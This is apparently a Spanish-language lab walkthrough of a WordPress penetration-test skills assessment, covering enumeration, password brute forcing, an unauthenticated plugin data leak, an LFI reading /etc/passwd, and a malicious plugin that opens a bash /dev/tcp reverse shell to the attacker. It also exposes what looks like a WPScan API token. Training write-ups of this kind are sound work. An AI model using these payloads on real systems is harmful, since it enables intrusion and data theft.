Skills Assessment - WordPress (INLANEFREIGHT)

Contexto

Test externo de penetración contra el sitio WordPress de INLANEFREIGHT.
Objetivo: enumerar, encontrar vectores explotables, obtener shell en el servidor web y recuperar la(s) flag(s). 🏁

💡 Nota: Ten en cuenta la resolución DNS local en Linux cuando no hay servidor DNS. Esto requiere editar /etc/hosts 🖥️✍️

🧭 Enumeración

1️⃣ Escaneo de puertos

sudo nmap -p- --min-rate 5000 --open -sS -n -sVC 10.129.174.9

2️⃣ Revisión de enlaces en la página

curl -s http://10.129.174.9/ | grep -oP 'href="https?://[^"]*"' | head

🔹 Resultado: hay un enlace hacia http://blog.inlanefreight.local
3️⃣ Resolución DNS local

echo "<IP> blog.inlanefreight.local" | sudo tee -a /etc/hosts

🔹 Ahora podemos acceder a WordPress correctamente.
🔹 Confirmación con Wappalyzer: WordPress versión 5.1.6
{039B8E61-8EA2-42D4-B08F-0919BAD7CCDD}.png

📦 Enumeración WordPress

wpscan --url http://blog.inlanefreight.local/ --enumerate --api-token '5ugIrGct21UCN2EjsCgtRssmcLHJm33GGe3P0yU7Vko'  > results_wpscan.txt 

🔹 Resultados del Escaneo

🔍 Acceso a directorio público:
http://blog.inlanefreight.local/wp-content/uploads/
Pasted image 20251009174225.png
{0E012F8C-75DB-485B-8F11-D448215DDEB6}.png


🧨 Explotación

1️⃣ Fuerza bruta de contraseñas

Ya tenemos tres usuarios: admin, Erika, Charlie Wiggins.
Podemos intentar un ataque de fuerza bruta usando rockyou.txt:

wpscan --url http://blog.inlanefreight.local/ --usernames admin,erika,charlie,charliewiggins,cwiggins --passwords /usr/share/wordlists/rockyou.txt

🔹 WPScan intentará autenticar a cada usuario con cada contraseña de la lista.

Credenciales descubiertas:

2️⃣ Explotación del Plugin Email Subscribers

El plugin vulnerable permite la descarga de reportes sin autenticación:

curl -s "http://blog.inlanefreight.local/wp-admin/admin.php?page=download_report&report=users&status=all"

📄 Resultado: descarga de información sensible de usuarios.
{1B13D4BE-8D83-4ABE-AEB7-098FD5C1927E}.png

3️⃣ Explotación del Plugin Site Editor

📚 Referencia: Exploit-DB #44340

El parámetro ajax_path permite Local File Inclusion (LFI):

curl -s http://blog.inlanefreight.local//wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

📂 Salida del LFI:
Se observan usuarios del sistema:
frank.mclane, erika, mrb3n
{7568C755-E9E8-4F45-946C-7DE130F954AF}.png

💻 Acceso al Sistema

Con las credenciales válidas (erika:010203), iniciamos sesión en:
👉 http://blog.inlanefreight.local/wp-login.php

🔁 Reverse Shell mediante Plugin

Si el usuario puede subir plugins, creamos un plugin malicioso con una reverse shell:

📄 Archivo: reverse.php

<?php
/* 
Plugin Name: WPReverseShell 
Plugin URI: https://malicious.example.com 
Description: Educational reverse shell plugin for testing. 
Version: 1.0 
Author: RedTeam 
Author URI: https://malicious.example.com 
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_atacante>/9001 0>&1'");
?>

📦 Lo comprimimos:

zip reverse.zip reverse.php


🎧 Preparamos el listener:

nc -lvnp 9001

📤 Subimos e instalamos desde:

Plugins → Add New → Upload Plugin → reverse.zip → Install & Activate
{41E70180-595B-47ED-AD09-FA3544CDD19D}.png
✅ Al activarlo, se abre la conexión reverse shell:
{4CDE39DE-A9FB-4402-BC1A-4170B97EDC52}.png

⚙️ Mejora de la Shell

Para una sesión más estable y funcional:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

[!success] ✅ Resultado